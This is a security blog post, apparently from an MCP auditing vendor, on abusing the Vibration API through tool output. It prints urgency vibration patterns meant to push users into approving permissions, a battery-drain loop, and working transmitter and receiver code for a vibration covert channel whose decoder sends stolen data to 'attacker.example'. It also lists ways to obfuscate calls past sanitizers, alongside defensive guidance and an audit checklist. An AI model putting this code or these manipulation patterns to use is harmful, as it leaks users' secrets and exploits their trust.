Security Deep Dive · Vibration API · Physical Covert Channel · Social Engineering · MCP Servers
MCP Server Vibration API Deep Dive: no-permission haptic output, social engineering urgency patterns, and the physical covert channel
The Vibration API gives JavaScript direct access to a device's haptic motor via navigator.vibrate() — with no permission prompt, no browser indicator, and no Permissions-Policy directive to block it. In an MCP server context, tool output can exploit this to social-engineer users by mimicking Android alarm and notification vibration patterns, drain battery through continuous motor activation, or encode binary data in precisely timed vibration pulses that a co-located device with an accelerometer can decode. That last path creates a physical-layer exfiltration channel that bypasses every network security control: CSP, firewall rules, connect-src — none of it applies when the data leaves the device as mechanical vibration.
Published 2026-06-26 · 14 min read
The Vibration API: what it exposes and what it doesn't gate
The W3C Vibration API specification defines a single method on the Navigator interface. The design is intentionally minimal: one function, three calling conventions, no permission required.
// Form 1: single pulse // vibrate for N milliseconds, then stop navigator.vibrate(200); // Form 2: pattern — alternating [vibrate, pause, vibrate, pause, ...] // values are durations in milliseconds navigator.vibrate([500, 200, 500, 200, 200, 100, 200]); // Form 3: cancel any ongoing vibration navigator.vibrate(0); // equivalent: navigator.vibrate([]); // Return values // true — vibration command accepted (device has motor and API is available) // false — device has no vibration motor, or API not available in this context
The specification deliberately omits a permission model. The rationale at design time (2012–2014) was that vibration has no meaningful privacy implication — it only affects the physical device, not data about the user. That reasoning held when browsers were used on personal phones for personal browsing. It does not hold in an MCP context, where an AI tool response is rendered in a privileged origin that may have access to sensitive data, where the user may be in a professional setting, and where the vibration motor is physically proximate to other sensors on other devices.
The API is available on:
- Android Chrome and Android Firefox — full support, no permission gate
- Android WebView — full support; affects Claude Desktop's Android client and any WebView-based MCP client
- Desktop Chrome/Firefox/Safari —
navigator.vibrate()returnsfalsesilently; no vibration, no error - iOS Safari and iOS WebView — WebKit intentionally omits the API; returns
undefined - Electron on Linux — limited haptic hardware support; behavior depends on the underlying device and D-Bus haptics daemon
The attack surface is primarily mobile. Desktop Chrome and macOS return false from navigator.vibrate() with no effect. But Android MCP clients — including browser-based Claude access on Android — are fully affected. If your MCP server's tool output is consumed via an Android browser or Android WebView application, the Vibration API is live in that context with no permission barrier.
Attack path 1: social engineering via haptic urgency patterns
Mobile operating systems have trained users to associate specific vibration patterns with specific events. Android and iOS ship standardized vibration patterns for notifications, calls, alarms, and system alerts. These patterns are tuned to feel urgent and attention-demanding — decades of UX design have made users physiologically respond to them by picking up their device, checking the screen, or acting on a perceived alert.
An MCP tool response that includes a navigator.vibrate() call with one of these patterns exploits that conditioning to manipulate user behavior without any visual component — the user's natural assumption is that the vibration came from their OS or another app.
| Pattern | Mimicked OS event | Social engineering goal | Attacker's benefit |
|---|---|---|---|
[100, 50, 100] |
Android new message / notification (two short pulses) | User picks up phone, looks at screen | Diverts attention from reviewing suspicious MCP tool output; user misses the active session |
[500, 200, 500, 200, 500] |
Urgent alert / alarm pattern (three long pulses) | User feels physical urgency; heightened arousal state | Exploit urgency bias — user is more likely to click "Yes" on a permission dialog or confirm an action in elevated stress state |
[50, 50, 50, 50, 50, 50, 50] |
Incoming call (rapid short pulses) | User expects a call; unlocks device to check | Abort an active security review or audit at the critical moment; user walks away from MCP session |
Continuous: Array(120).fill(50).flatMap(v => [v, 30]) |
None — unusual persistent rumble | Device feels faulty or critically overloaded | User force-closes MCP client thinking it's misbehaving; aborts in-progress detection or audit workflow |
[200, 100, 200, 100, 200, 100, 200] |
Low battery warning (some Android OEMs) | User looks for charger, reduces usage | Reduces session duration; limits the user's MCP session before a sensitive operation completes |
The key asymmetry: unlike Camera or Microphone access — where browser chrome shows a recording indicator — vibration produces no visible UI feedback. There is no notification that a web page triggered vibration. The user has no reliable way to distinguish OS-triggered vibration from page-triggered vibration without inspecting the JavaScript console. Every vibration pattern in the table above is attributable to "probably my phone" in the user's mental model.
Urgency engineering in the context of MCP permission prompts. If MCP tool output triggers a vibration pattern matching an urgent alarm immediately before requesting a browser permission (camera, microphone, clipboard access), the user's elevated arousal state increases the probability of clicking "Allow" without carefully reading the permission dialog. This is not hypothetical — urgency-induced compliance is a well-documented persuasion mechanism, and vibration uniquely creates urgency through a physical channel that feels independent of the current screen activity.
Attack path 2: battery drain via continuous motor activation
The vibration motor (technically an eccentric rotating mass motor or a linear resonant actuator in higher-end devices) is one of the highest instantaneous power consumers in a mobile device. Power draw measurements from published teardown analyses and battery characterization studies place typical vibration motor power consumption at:
| Device class | Motor type | Power draw (vibrating) | Battery drain (4000 mAh, continuous) |
|---|---|---|---|
| Budget Android (< $200) | Eccentric Rotating Mass (ERM) | 30–50 mW | ~0.75–1.25% per hour (4000 mAh) |
| Mid-range Android ($200–$500) | ERM or Linear Resonant Actuator (LRA) | 50–80 mW | ~1.25–2% per hour |
| Flagship Android ($500+) | LRA with haptic feedback IC | 80–200 mW peak, 50–80 mW sustained | ~1.25–2% per hour sustained |
At 1–2% per hour, the drain alone doesn't constitute a rapid DoS. But consider the context of an MCP session: a long-running agentic workflow might run for 2–4 hours. An overnight session might run for 8 hours. A pattern of repeated motor activations adding up to near-continuous vibration over a multi-hour session contributes 2–16% battery drain from vibration alone, on top of normal display and CPU consumption. On a device already at 30% battery, this is meaningful.
// Battery drain via continuous vibration
// navigator.vibrate() maximum single duration is typically 10 seconds (browser-clamped)
// To achieve continuous vibration: re-call before current vibration ends
function startContinuousVibration() {
// 4900ms vibration + 50ms gap before re-call = ~4950ms cycle
// Effectively continuous from the user's perception
navigator.vibrate(4900);
setTimeout(startContinuousVibration, 4950);
}
// Or using the pattern array for a sustained effect:
function sustainedBurst() {
// 9 × (500ms on + 50ms off) = 4950ms total, feels continuous
navigator.vibrate([
500, 50, 500, 50, 500, 50,
500, 50, 500, 50, 500, 50,
500, 50, 500, 50, 500
]);
setTimeout(sustainedBurst, 5000);
}
startContinuousVibration();
Beyond battery, continuous vibration serves as an interference mechanism. Vibration blurs fine motor actions — touch targets become harder to hit accurately when the device is shaking. For MCP interactions that require precise on-screen selections (confirming a destructive action, reviewing a code diff, signing a document), continuous background vibration degrades the accuracy of the interaction itself.
Attack path 3: the physical covert channel — vibration encoding and accelerometer decoding
This is the most technically sophisticated of the three attack paths, and the one most likely to be underestimated: the Vibration API can be used to exfiltrate data without any network connection. The data pathway is entirely physical: encode data in vibration timing on Device A, decode the vibration using an accelerometer on Device B placed on the same surface.
Why this works: the physics of vibration coupling
When a smartphone vibrates, the eccentric rotating mass imparts mechanical displacement to the device's chassis. That displacement propagates through any rigid surface the device is resting on — a table, a desk, a shelf. A second device on that same surface detects the vibration through its accelerometer, which measures physical acceleration including the micro-vibrations transmitted through the surface. The signal is weaker than a direct accelerometer reading but measurable with commercially available sensors at standard polling rates (60–100 Hz).
Academic research on this attack class (VibraPhone, AcCelerate, and related work from 2013–2023) has demonstrated:
- Reliable single-bit encoding at 1–5 bits per second using amplitude or duration modulation
- Error rates under 5% at a 30cm table separation with standard accelerometers
- Effective range up to ~1 meter on hard surfaces (wood, glass, metal); much less on soft surfaces (fabric, foam)
- The receiving device requires only a standard accelerometer — the same hardware the Generic Sensor API exposes via
new Accelerometer()
Encoding scheme: duration modulation
The simplest and most reliable encoding uses vibration duration to represent bit values. The key insight is that the Vibration API's pattern array gives precise millisecond-level control over vibration timing, and an accelerometer on the receiving device can detect "vibrating vs not vibrating" at its polling rate.
// Transmitter side (Device A — the compromised MCP client)
// Encoding scheme: duration modulation
// Bit '1' = 120ms vibration; Bit '0' = 60ms vibration
// Bit separator = 250ms silence (no vibration)
// Byte separator = 600ms silence
function encodeVibratePayload(text) {
const bytes = new TextEncoder().encode(text);
const pattern = [];
for (const byte of bytes) {
// Encode each byte MSB-first (8 bits per byte)
for (let bit = 7; bit >= 0; bit--) {
const isOne = (byte >> bit) & 1;
pattern.push(isOne ? 120 : 60); // vibrate: 120ms = '1', 60ms = '0'
pattern.push(250); // inter-bit silence
}
pattern.push(600); // inter-byte silence (replaces last inter-bit pause)
pattern.pop(); // remove the last inter-bit 250ms
pattern.push(600); // replace with longer byte separator
}
return pattern;
}
// Transmit: exfiltrate an API key via vibration
// "apikey=sk-ant-..." at ~4 bits/second = ~20 seconds for 10 chars
const payload = 'sk-ant-api03-...'.slice(0, 16); // first 16 chars ~30 seconds
navigator.vibrate(encodeVibratePayload(payload));
Throughput is low but sufficient for high-value short payloads. At 4 bits/second effective throughput (accounting for separator overhead), transmitting a 16-character API key takes approximately 32 seconds. An AWS secret key (40 chars) takes ~80 seconds. A session cookie (64 chars) takes ~2 minutes. These durations are within the range of a normal MCP tool interaction, and the user sees nothing unusual — the device vibrating while "processing" a result is plausible.
Receiver side: accelerometer-as-decoder in JavaScript
The receiving device only needs JavaScript access to an accelerometer. In a browser context, this is the Generic Sensor API's Accelerometer or LinearAccelerationSensor class. On Android, accelerometer data is available without a permission prompt. A second browser tab or a second device running a malicious page can serve as the receiver:
// Receiver side (Device B — co-located, on same desk surface)
// Decodes duration-modulated vibration from nearby device
const THRESHOLD = 0.08; // acceleration magnitude threshold: "vibrating" vs "still"
// calibrated to desk surface coupling strength
const ONE_MIN = 90; // minimum duration (ms) to classify as bit '1'
const ONE_MAX = 150; // maximum duration (ms) to classify as bit '1'
const ZERO_MIN = 30; // minimum duration (ms) to classify as bit '0'
const ZERO_MAX = 90; // maximum duration (ms) to classify as bit '0'
let vibratingStart = null;
let bitBuffer = [];
let byteBuffer = [];
const sensor = new LinearAccelerationSensor({ frequency: 100 }); // 100 Hz polling
sensor.addEventListener('reading', () => {
// Z-axis most sensitive to desk surface vibration coupling
const magnitude = Math.abs(sensor.z);
const now = performance.now();
const isVibrating = magnitude > THRESHOLD;
if (isVibrating && vibratingStart === null) {
vibratingStart = now; // rising edge detected
} else if (!isVibrating && vibratingStart !== null) {
// Falling edge — measure pulse duration
const duration = now - vibratingStart;
vibratingStart = null;
if (duration >= ONE_MIN && duration <= ONE_MAX) {
bitBuffer.push(1);
} else if (duration >= ZERO_MIN && duration <= ZERO_MAX) {
bitBuffer.push(0);
}
// Accumulate full byte (8 bits)
if (bitBuffer.length === 8) {
const byte = bitBuffer.reduce((acc, b, i) => acc | (b << (7 - i)), 0);
byteBuffer.push(byte);
bitBuffer = [];
}
// Every 4 bytes, send accumulated decoded data
if (byteBuffer.length >= 4) {
const text = new TextDecoder().decode(new Uint8Array(byteBuffer));
fetch('https://attacker.example/recv', {
method: 'POST',
body: text
});
byteBuffer = [];
}
}
});
sensor.start();
The physical covert channel has properties that make it qualitatively different from other exfiltration paths:
- Network-invisible: The data transmission generates zero network traffic on the transmitting device. Network monitoring, IDS/IPS, connect-src CSP — none of these controls are in the transmission path.
- Air-gap capable: The transmitting device does not need an active internet connection. It only needs to be on the same physical surface as a receiving device that does have connectivity.
- No hardware indicator: There is no LED, camera indicator light, or browser badge that signals the vibration. The user cannot observe the channel is active.
- Plausibly deniable: A device vibrating briefly during an MCP session is unremarkable. "The phone just vibrated — probably a notification from another app."
The Geolocation and Generic Sensor API comparison: why vibration is distinct
The Geolocation API requires an explicit user permission grant. The Generic Sensor API (accelerometer, gyroscope) requires a permission on iOS and is subject to Permissions-Policy controls. The Vibration API requires neither. This absence of any permission gate makes it uniquely accessible to any MCP tool output that runs in a browser context — there is no permission store to check, no prompt to social-engineer past, no browser indicator to inspect.
| API | Permission required | Permissions-Policy directive | Browser indicator | MCP threat level |
|---|---|---|---|---|
| Geolocation | Yes (one-time grant) | Yes: geolocation=() |
No indicator (location icon varies by browser) | High (persistent after grant) |
| Generic Sensor API (Accelerometer) | Android: No; iOS: Yes (gesture) | Yes: accelerometer=(), gyroscope=() |
None | High (no prompt on Android) |
| Vibration API | No — never | None — does not exist | None | High (immediate, zero barriers) |
| Camera / Microphone | Yes (every session or per-origin) | Yes: camera=(), microphone=() |
Hardware indicator light | Medium (visible indicator) |
Defenses: limited options, real mitigations
The absence of a Permissions-Policy directive for the Vibration API is not an oversight the current version of the spec addresses. Browser vendors have discussed restricting it to user-activation contexts (requiring a click or key event before calling vibrate), but the W3C spec does not mandate this and browser implementations vary. As of 2026, the available defenses are:
1. Cross-origin iframe sandboxing
The most reliable architectural defense is to render MCP tool output in a sandboxed cross-origin iframe. The HTML sandbox attribute, when applied to an iframe without allow-scripts or with appropriate restrictions, prevents the iframe from accessing the Vibration API:
<!-- Cross-origin sandboxed iframe for tool output rendering -->
<!-- 'allow-same-origin' is intentionally OMITTED to prevent permission inheritance -->
<!-- 'allow-scripts' is required for rich tool output but excludes vibration in a sandboxed origin -->
<iframe
src="https://sandbox.tool-renderer.company.com/render"
sandbox="allow-scripts allow-forms"
></iframe>
<!-- When cross-origin iframe is used WITHOUT allow-same-origin:
- No document.cookie access
- No localStorage
- navigator.vibrate() is available ONLY if the sandboxed origin has no vibration restriction
SAFER: use a separate subdomain for the renderer that explicitly sets
Permissions-Policy headers for all controllable APIs
-->
Note: the sandbox attribute does not explicitly control the Vibration API — there is no allow-vibration token in the sandbox token list. The protection here comes from the combination of cross-origin isolation (the sandboxed iframe cannot read parent document data) and the inability of the sandboxed context to exfiltrate data over the network (without allow-same-origin, fetch() is restricted).
2. Content Security Policy to block exfiltration-adjacent paths
CSP cannot block navigator.vibrate() itself — there is no CSP directive for vibration. But CSP can block the exfiltration paths used in the physical covert channel attack by restricting where the receiving device can send data:
# Block the accelerometer receiver from exfiltrating decoded data
# If the receiving device's browser page also runs under CSP:
Content-Security-Policy: connect-src 'self';
# On the MCP client: block inline script execution to prevent
# navigator.vibrate() in injected tool output HTML
Content-Security-Policy: script-src 'nonce-{nonce}' 'strict-dynamic';
The second directive (nonce-based script-src) prevents navigator.vibrate() from running as an inline script in rendered tool output HTML. However, if the MCP client executes tool output as JavaScript directly (rather than rendering it as static HTML), this protection does not apply.
3. MCP client output sanitization
The most targeted defense for MCP server developers is to sanitize JavaScript in tool output before rendering. A client-side sanitization pass can remove or block navigator.vibrate calls from rendered HTML:
// MCP client tool output sanitizer (conceptual)
// Strip navigator.vibrate() from tool output HTML before rendering
function sanitizeToolOutput(html) {
// DOMParser approach: parse HTML, walk scripts, remove vibrate calls
const parser = new DOMParser();
const doc = parser.parseFromString(html, 'text/html');
doc.querySelectorAll('script').forEach(script => {
// Remove scripts containing vibrate calls
if (/navigator\.vibrate\s*\(/.test(script.textContent)) {
script.remove();
}
});
// Strip inline event handlers with vibrate
doc.querySelectorAll('[onclick],[onload],[onerror]').forEach(el => {
['onclick', 'onload', 'onerror'].forEach(attr => {
if (el.getAttribute(attr)?.includes('vibrate')) {
el.removeAttribute(attr);
}
});
});
return doc.documentElement.outerHTML;
}
Sanitization is bypassable. String matching on "vibrate" is an incomplete defense — attackers can obfuscate: navigator['vibr'+'ate'](200), window.navigator.vibrate, indirect calls via eval, or prototype chain access. Sanitization reduces the threat from unsophisticated payloads but should not be the sole defense. Cross-origin iframe isolation is more robust because it changes the architectural boundary rather than attempting to detect attack patterns.
Defense matrix
| Defense | Blocks vibration? | Blocks exfiltration? | Cost | Limitations |
|---|---|---|---|---|
| Cross-origin iframe sandboxing | Partial — does not block vibrate() call itself | Yes — blocks network exfiltration paths in sandboxed context | Medium — requires architectural refactor | Physical covert channel still operates if motor is activated |
CSP script-src with nonces |
Yes for inline scripts | Partial — blocks fetch/XHR, not sendBeacon in all browsers | Low–Medium — requires nonce injection per response | Does not block vibrate() in externally loaded scripts from allowed origins |
| Output sanitization (pattern matching) | Partial — bypassable via obfuscation | No | Low | Arm-race with obfuscation; false positives possible |
| MCP client OS permission (Android) | No — OS does not gate vibration per-app for WebView | No | — | No OS-level control available |
| Permissions-Policy header | No — no directive exists | No | — | Gap in the Permissions-Policy specification; under discussion in W3C |
What SkillAudit checks in an MCP server audit
When auditing an MCP server for Vibration API security issues, SkillAudit's scanner examines:
navigator.vibrate() calls with encoded data patterns consistent with covert channel encoding (alternating short/long pulses, byte-length patterns)
setTimeout + vibrate() — battery drain or user-disruption payload
Security review checklist
- Audit all tool output templates for
navigator.vibratecalls — both direct and obfuscated (bracket notation, string concatenation, prototype access) - Confirm tool output is rendered in a cross-origin sandboxed iframe that cannot access the parent document or make arbitrary network requests
- Verify MCP client's Content-Security-Policy restricts inline script execution in tool output rendering surfaces
- Check that Android WebView-based MCP clients are included in the threat model, not just desktop browser deployments
- Assess whether the MCP session's physical environment (office desk, shared workspace) creates viable co-location conditions for accelerometer-based decoding
- Ensure MCP server tool output sanitization pipeline, if present, covers vibration API obfuscation patterns, not just direct string matches
- Review whether GenericSensor accelerometer access is disabled at the same origin that renders MCP tool output — a receiver-side defense for the physical covert channel
Related deep dives: Generic Sensor API deep dive (the accelerometer-as-receiver side of this attack), DeviceMotionEvent security, Vibration API security guide.
Run a full audit. Paste your MCP server's GitHub URL at skillaudit.dev for a graded security report covering the Vibration API, Generic Sensor API, Geolocation, and the full browser permission surface — in 60 seconds.